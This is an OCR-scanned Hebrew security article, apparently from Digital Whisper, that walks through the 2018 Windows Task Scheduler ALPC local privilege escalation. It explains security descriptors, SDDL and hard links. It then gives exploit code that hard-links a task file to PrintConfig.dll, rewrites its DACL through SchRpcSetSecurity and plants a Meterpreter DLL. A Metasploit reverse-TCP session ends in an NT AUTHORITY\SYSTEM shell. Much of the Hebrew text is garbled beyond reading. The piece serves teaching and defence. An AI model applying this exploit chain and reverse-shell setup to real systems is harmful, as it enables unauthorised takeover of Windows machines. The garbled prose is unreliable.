Local Privilege Escalation Using Task Scheduler
Service
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Technologic

Microsoft -7y poionn 07NN 2 NMIYWPN [N KRin LPC - Local Procedure Call (LPC)
LPC-2 wnnwin? N1 .00 2 DM 7w NNLak nNavn Ywornn Windows NT Kernel
1YW |2 IX Kernel-Mode |'2%7 User-Mode-a '7nn |2 ,User-Mode-2 D''70N v "2 MIYWPNY

.Kernel-Mode-2 Drivers

LPC nx wThn nax'v Microsoft ,Vista n'2vonin N>yna - Advanced Local Procedure Call (ALPC)
noyn 7w 07NN nnd oMt LLPC 7w "INt nwTn" NoNa nwyn? XIinw ALPC-7 Inw NN nn1'YI
:ALPC -2 wIn'w'? NINNAIT .0"MIA'Y ALPC 'pwnn D'P90Nn TWKX n7u90n

.LSASS 7'7nn oy WwpnY 1 ALPC-2 wnnwn Winlogon e

.D'ONIPY DD'7NNN WA 7 vy 727 nan 7y ALPC-a wnnwn Windows 7w NIRAY NIT e

VAIRI DPMAIR? ND'IYNN NNVAXN NYAP? 0'0an KIN Security Descriptor - Security Descriptor
NT YT 112y 0RININ N1AN.0RPMAIRD 72V M, 0P aIRN 72V Nintion Ni71yo yxa? 710" wnnun N

D'MpP'YA T5IN1,0'0INYTR 190NN 1d1IN KINI Security Descriptor X1
OwnerSID o

GroupSID e

Discretionary Access Control List (DACL) e

System Access Control List (SACL) e

.SACL-1 DACL ,axwn 252 112y (ACL) nw'a Mj7a Nin'wN ‘MY 7'Jn Security Descriptor ,q01n2

NXIAP IX YANWNn ¢ nanwn 'mbal TINt ANaX AN XIn SID - Security Identifier (SID)

.D'Ynnwn

Security descriptor

Owner SID

Group SID

Discretionary ACL (DACL)
Access allow/deny permissions

System ACL (SACL)
Audit entries
Mandatory label

[D7'y D'oINYR NV '7'on0n Security Descriptor 7w nnax'T]
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N2 NTNNN NaN KIn SDDL String - Security Descriptor Definition Language String (SDDL)

:NNAIT? VP"AIX 1Y Security Descriptor INN? Nan 7y D'wnnun

O:owner_sid
G:group_sid
D:dacl_flags(string acel)(string_ace2)
S:sacl _flags(string acel)(string ace2)

‘Yal? 7w SDDL NnTinnn 1Ay nnaiT

0:5-1-5-21-2093731422-2129986928-4024234085-1001
G:S-1-5-21-2093731422-2129986928-4024234085-513
D:AI(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-2093731422-2129986928-
4024234085-1001)
S:AI(AU;O0ICINPFA;RPDTSDWD; ; ;BU) (AU;OICINPSA;CCSWRPDTLOSD; ; ;BU)

TYNT TWONN ,D'10N VP AIN 7R NWA IPIAN T¥'D 1 Tan SACL - System Access Control List (SACL)
.Owner SID-N 2" TANY '9) 010N VPMAINYT 1WA WK NIXIAPZI D'YNNYN 7¢ N7WID IX INYXIN nwa
NYA7 NXAR IN YNNWN 7¢ 291D IR NYNIN [1'01 TYNY oxN Nivaipn ACE nmivwn 70 Xin ,q0n

.0paINa?

VA1 AINYINN 1'97 Mj7'Win 'WXNKRN DX nlinn DACL - Discretionary Access Control List (DACL)
L0PMIR? NYRA Y M7 navenl

.<account, access-rights> 7w nn'wn XIn ACL

.Access Control Entries (ACE) X1j72 ACL-2 <account, access-rights> 7w q¥1'7D e

N N AIan 1D |'yn SACL-I Yalp? nwna wromY yn DACL-w XIn SACL-7 DACL |1 71an

Op7"AIR

7on ACE .(ACL) nwa mipa Nn'wnl nnivn nwyn? Xin ACE - Access Control Entries (ACE)
on"nn I'7RY 1AwNN 7w SID-N NX 71 ACE-n .(SID) Security Identifier-1 Access Rights 7w nxiap
N2 0ax'nn ACE NiNivY 7¢ D1IY D210 DIY' .NXIP IX WNNnwn 1y nirn? 7o' SID-n ,ACE-n

.(yarp j123) T'n* vEIRY

-2 ACE 75> .Security Descriptor-2 SACL-1 DACL n1Tan2 ACE Strings-2 wnnwn SDDL - ACE Strings
(;) ?'09 NTIPA NIYXNXA D'TI9INMI XAN 1 TOA O'RX¥N 7Y NITYN ,0'A102 97in SDDL
ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
:NM2aIT? ACE STRING
D:(A;OICIIO;SDGXGWGR;;;AU)

ace_type: ACCESS_ALLOWED_ACE_TYPE
ace_flags: OBJECT_INHERIT_ACE
CONTAINER_INHERIT_ACE
INHERIT_ONLY_ACE
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rights: DELETE
GENERIC_EXECUTE
GENERIC_WRITE
GENERIC_READ
account_sid: SDDL_AUTHENTICATED_USERS

?00"2'2 0'7T72a0n nni SoftLink,HardLink

DANN D'¥AP MY AWONNN NAT ,N'WRN 2102 DY1I0N 2NNYT D190 1IXY? CWONN Hardlink e

D'¥27N ,0'¥APN TNXR N1 DX MY' YNNUNi AT'R2 .N'YRN D2 DIpn INIX? DN
STV Y27 112V ARNP WA NY HardLink yxa'? @12 .0RNN2 IINW!' DNINKRD

DIPN IMIX? X721 1NN yapn 7w Dipmnn 1y Yy 70 QUK yalz X' YWonn - Softlink e

RN D

SoftLink content
Softlink to o
e containing Path to
PrintFile.dll - I
P PrintFile.dll
-
-
-
-
-
‘al'

PrintFile.dll \
PrintFile.dll content
/' on Disk
HardLink to PrintFile.dll

[softlink |27 hardlink |2 D"7T2nN NX Naonn NNMAR'T]
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AYU2Inn 2V 120n

"job" mmrronl X YaIRd NIM'wn DX Mivl Windows 2000 niniznn nna - Task Scheduler 1.0

X2n 2'N1n

C:\Windows\Tasks

:N2N 2'N1a XML n1anal yalzd nin'wnn X il Vista niinn nna - Task Scheduler 2.0

C:\Windows\system32\Tasks

.Tasks Scheduler 7¢ nin'wn 7y V"Y1 71017 NIV'YW 190N WONRN ITaskSchedulerService pwnn
IN N"'Nn 7w Security Descriptor-n X N1 Tan WX "SchRpcSetSecurity” X'n NI'YYj1190 NNNX
,AN'YUNN ¥ DWUN DR 1'TaN7 NIX W' "SchRpcSetSecurity” n'¥j71191 D'UNNWUN TWUXD .ANn'wnNn

:(SDDL)NIIAy NIXYINN NXI

HRESULT SchRpcSetSecurity(

[in, string] const wchar_t* path,
[in, string] const wchar_t* sddl,
[in] DWORD flags

)

".job" yaIz o' nxn T Task Scheduler nn'wn "SchRpcSetSecurity” N'¥71191 wWIN'W W' TWUNXD

NN NN

‘C:\Windows\Task

ardLin ,1 1 1
3.||7'7 HardLink ¥ nn n''7'na D'xap q1X'7 710" D'NIXRN NXIQpP2 XXNIY ynnvnn 'S 1NKRN

.1 yxa7 XM IMRY YaIR? AR NIRWANA NIX W' HardLink Qixt? nan ) noayna Nk

B C\Windows\system32\cmd.exe — O x

c:\>cacls c:\Windows\Tasks ~

c:\Windows\Tasks NT AUTHORITY\Authenticated Users:(special access:)
READ_CONTROL
SYNCHRONIZE
FILE_GEMERIC_READ
FILE_GEMERIC_ EXECUTE
FILE_READ DATA
FILE_WRITE_DATA
FILE READ EA
FILE_EXECUTE
FILE_READ ATTRIBUTES

BUILTIN\Administrators:F
BUILTIN\Administrators: (0OI){CI){IO)F
NT AUTHORITY\SYSTEM:F

NT AUTHORITY\SYSTEM: (OI){CI)(IO)F

NT AUTHORITY\SYSTEM:F

CREATOR OMWNER: (OI){(CI){(IO)F

o> W
[n7'nin 7w Security Descriptors-NX a'¥n'7 Nin 7y "cacls"-2 win'w]
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NIODTN 72V 'RINKRN spoolsv.exe Y'7nN7 |yl WK PrintConfig.dll XIn HardLink y¥21 1" yalpn
NIX VIV spoolsv.exe 17NN ,StartXpsPrintJob n'¥jpa192 wim'yw nya D |1 .QwWNN D'OpoI

.PrintConfig.dll n*90n

WX UpdateTask.job yalj77 DACL-n NX ' Tan'? nan 7y SchRpcSetSecurity n'¥j72192 wnnwin? 711
StartXpsPrintJob N'¥j71192 wnnwa nI'o? .anK DLL-2 19'7nn? pn NX7I PrintConfig.dil 97X wipn

.SYSTEM MN2>7yn NINYINA WNNWAY? TWOR'T wTNN DLL-N DX [VO' spoolsv.exe 1"'7nNnw nin 7y

o -CreateNativeHardLink{)  C\Windows\Tasks\UpdateTask.job C:A\Windows\*\PrintConfig.dll
-- Link to DLL

o -SchRpcSetSecurity()

o -WriteFile(PrintConfig.dll)

o -XpsPrintlob()

-- Load hijacked DLL

, SYSTEM
spoolsv.exe

[nopnnn 7w nnhar+T]

Local Privilege Escalation Using Task Scheduler Service
www.DigitalWhisper.co.il
6 2018 M2102IX ,99 |I"72




Technologic

nNNATN

NI NYPN DA N Y ww At Hardlink yalp Dy X onopnnn g niiwxkin n7ivon
AWK PrintConfig.dil yaipn NX 9™7N0Y7 X'N N0NN DT NIPNA .ARNP DY IR D7 WWR yalp
Yal |2 MW y¥al nwyn? TX .spoolsv.exe '7nN2 XpsPrintJob N¥j71192 win'y WNXY (V01

:PrintConfig.dll yalzn 78 C:\WINDOWS\TASKS n"jz'na X¥xnin UpdateTask.job mww

CreateNativeHardlink(Source, Destination);

CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", L"C:\\Windows\\System32\\DriverStore »
\\FileRepository\\prnms8e3.inf amd64 d953389ec763tcc7\\Amd64\\PrintConfig.dl1");

[nrxpaon v win'y]

niIXwN 1N LPrintConfig.dll-n XIinw UpdateTask yaipn 7w DACL-N NX N'Ta* NI'N190 ‘MY

NAIT? ,"D'MNIND D'YNNUN" NXIPA 0'RYNIN D'YNNYNY? (N¥1n/n2mo/nknp) nin

ACE Strings:
Template: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
Example: D:(A;0ICIIO;SDGXGWGR;;;AU)

ace_type: ACCESS_ALLOWED_ACE_TYPE

ace_flags: OBJECT_INHERIT_ACE
CONTAINER_INHERIT_ACE
INHERIT_ONLY_ACE

rights: DELETE
GENERIC_EXECUTE
GENERIC_WRITE
GENERIC_READ

account_sid: SDDL_AUTHENTICATED_USERS

_SchRpcCreateFolder(handle, L"UpdateTask", L"D:(A;;FA;;;BA)(A;0ICIIO;GA;;;BA)
(A3 3FA3;53SY)(A;OICIIO;GA;;;SY)(A;;08x1301bT; ;3AU) (A30ICIIO; SDGXGWGR; ; ;AU) S
(A;;0x1200a9;;;BU) (A;0ICIIO;GXGR;;;;BU)Y", B);

_SchRpcSetSecurity(handle, L"UpdateTask", L"D:(A;;FA;;;BA){(A;0ICIIO;GA;; ;BA)
(A;3FA3;53SY)(A;O0ICIIO;GA;;;SY) (A ;0x1301bT; ;5 3AU) (A30ICITO; SDGXGWGR; ; ;AU) ®
(A} 3;0x12080a9;;;BU) (A;0ICIIO;GXGR; ;;BU)Y", B);

[yaszn 2w nvp'n Ny SDDL nTan]
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Technologic

Mame: CAWindows\Systern32\DriverStore\FileRepositon/prnms003.inf_amd64_d953309ec703fccMAmded PrintCenfig.dll
Owner Trustedinstaller ) Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. Te modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
S8 Allow  Trustedinstaller Full control None
S8 Allow  Administrators (DESKTOP-U30TE1M\Admini.. Read & execute None
SR Allow  SYSTEM Full control None
S8 Allow  Users (DESKTOP-U3O7E14\Users) Read & execute None
Allow  ALL APPLICATION PACKAGES Read & execute MNone
Allow  ALL RESTRICTED APPLICATION PACKAGES Read & execute MNone

[DACL "1'w 119%7 DLL-n 7w Security Descriptors]

Mame: CAWindows\System32\DriverStore\FileRepositony\ prnms003.inf_amd64_d933308ec763fcc T AMdENPrintCenfig.dil
Owner: Trustedinstaller ) Change
Permissions Auditing Effective Access

For additicnal information, double-click a permission entry. To moedify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
SR Allow  Administrators (DESKTOP-U30TE14\Admini... Full control Mone
SR Allow  SYSTEM Full control Mone
SR Allow  Authenticated Users Muodify Mone
SR Allow  Users (DESKTOP-U3OTE14\ Users) Read & execute MNone
SR Allew  Administrators (DESKTOP-U30TE1S\Admini.. Full control Parent Object
S8 Allow  SYSTEM Full centrol CAWindows'\System32\DriverStorel,
S8 Allow  Trustedinstaller Full contral Parent Object

[DACL "1*w WnXY7 DLL-n 7w Security Descriptors]

NIRYIN 727 Nnikn wnnwn 75 91, PrintConfig.dll yalpn 7w nINwANN DX NNYWT7 IN7¥Nw 1NNY

TIX |VU' NINIDA NIRYIN 702 1'7NNY ya7d N Yl PrintConfig.dil-n nx q'2nn% 7311 ,namd

NID 7NN DT NMPna NN MK 7Y NINRAN NIRWINA Wnnwin? 1 L PrintConfig.dll-n

SYSTEM ndyn NIXYINA YW spoolsv.exe
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:Metasploit *1-7v Wx¥11W Meterpreter 7w Payload 7'on Wwx DLL-2 97nIn PrintConfig.dll-n

Property Value

File Name ChAWindows\System 32\ DriverStore\FileRepositony prnms003.inf_amd...
File Type Portable Executable 64

File Info Mo match found.

File Size 2.76 MB (2896896 bytes)

PE Size 2.76 MB (2896896 bytes)

Created Friday 2% September 2017, 16.40.59

Modified Friday 2% September 2017, 16.40.59

Accessed Friday 2% September 2017, 16.40.59

MD3 TCD1DSEESSF40FBD3IET2ETEF19038BED

SHA-1 41132 CTFDCE3A40RAART CI3BCEIFCRLE26ATEDI3

[(CFF Explorer) DLL yaljn v wTnn na'nd 1947 PE Size]

Property Value

Eile Name sitony\prams003.inf_amdéd_d953300ecT63f cc T\ Amded\PrintConfig.dl] ‘
File Type Portable Executable &4

File Info Me match found.

File Size 2.76 MB (2896896 bytes)

PE Size 5.00 KB (3120 bytes)

Created Friday 29 September 2017, 16.40.59

Modified Sunday 02 September 2018, 20.08.20

Accessed Friday 29 September 2017, 16.40.59

MD35 CB29CD4C187BTCE7419BDDEFE34886E4

SHA-1 38C31FBROEBTRDCTICRCI433AT2CE212174206EF

[(CFF Explorer) DLL yaljzn '7v wTnn na'nd WNKY7 PE Size]

112NOW wTNN DLL-N DX [VON WK XpsPrintJob nr¥j71197 X172 XPS Print API-2 win'w T'-2y DI'o%?

:SYSTEM ndyn NIRWIN 72727 121 spoolsv.exe )'7nN2 wnnwin'? 221w nan 7y

msf > use multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse tcp
payload == windows/x64/meterpreter/reverse tcp

msf exploit{handler) > set lhost 0.0.0.0

lhost == 0.0.0.0

msf exploit(handler) = set lport 4444

lport == 4444

msf exploit(handler) = run

[#] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (205379 bytes) to 192.168.157.129
[#] Meterpreter session 1 opened (192.168.157.128:4444 -> 192.168.157.1

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter = F
[(Metasploit Framework) 17w nIXwINN NN DX A'¥xnin Meterpreter aion Payload-1 win'w]
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¥ Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-U307E14\Lalipop]

File Optiocns View Process Find Users Help
Wb @ =00 A | L, || . e I |
Process CPU  Private Bytes =~ Working Set  PID  Description Company Name Integrity
= ﬁcmd.exe 1,936 K 3080 K 4856 Windows Command Processor Microsoft Corporation Medium
[ conhost exe 6024 K 18,072 K 7736 Console Window Host Microsoft Corporation Medium
@ Onelrive exe 17.560 K 56704 K 7500 Microsoft OneDrive Microzoft Comporation Medium
= @iexplore.exe 00 14128 K 55084 K 6076 Intemet Explorer Microzoft Comporation Medium
iexplore exe 0.01 16,888 K 43824 K 3988 Intemet Explorer Microsoft Comparation Low
Lj undll32 exe 003 3,060 K 9788 K 284 Windows host process (Run... Microsoft Corporation System
Q?procexpﬁd.exe 0 18,644 K 38,560 K 4148 Sysintemals Process Explorer  Sysintemals - www sysinter... High

[(Process Explorer) System nixwIn 7va Meterpreter 7w 7*7nn]

nid'o

,NNAIT? 17U NINYINN NN DX NI7VN7T7 710' XIN [N N2 DDOT 97IN7 NWONNA IT NNLAX N2
NU'Y NNIN2 WNNWN WK (PowerPool) wTn |yai9 n7ann Zero-Day-n DONISW D'A' 19010 NX7

awnnn 7INNK Ny V190 GoogleUpdate.exe XIn 7NINY YaIpn N ,YAIP? NINWIN DTN 9w
JINIAA NIRWAN

y¥an Microsoft NX11N 720 .02 DMPIN 'T-7V NI7ANN AWR NIYTN NISPNN TIVIE TIY NIRYYT |*ayn

.NMYN 12NnvS021 11-n 'INN2 NNVARN |IDTY

Mannn Yy

CTF-"MANK YXan 'woINN AT ,1'YI07K L7210 DNAN2 AWNn NNZRE AT 27,7 DNNAR 21N

NKNAN N2TMDI[IDN2 NTYN 72V 110 721'7 n'71ma NTIN .Reverse Engineering Malware-1 j701V1

yTn ninpm

e  https://msdn.microsoft.com/en-us/library/cc246052.aspx

e  https://www.safaribooksonline.com/library/view/windows-internals-fifth/9780735625303/ch03s06.html

e  https://www.kb.cert.org/vuls/id/906424

e  https://docs.microsoft.com/en-us/windows/desktop/secauthz/sid-strings

e  https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-

part-1/

e  https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language

e  http://clintboessen.blogspot.com/2011/04/whats-difference-between-acl-ace-dacl.html

e  https://msdn.microsoft.com/en-us/library/jj663148.aspx

e  https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-

malware/
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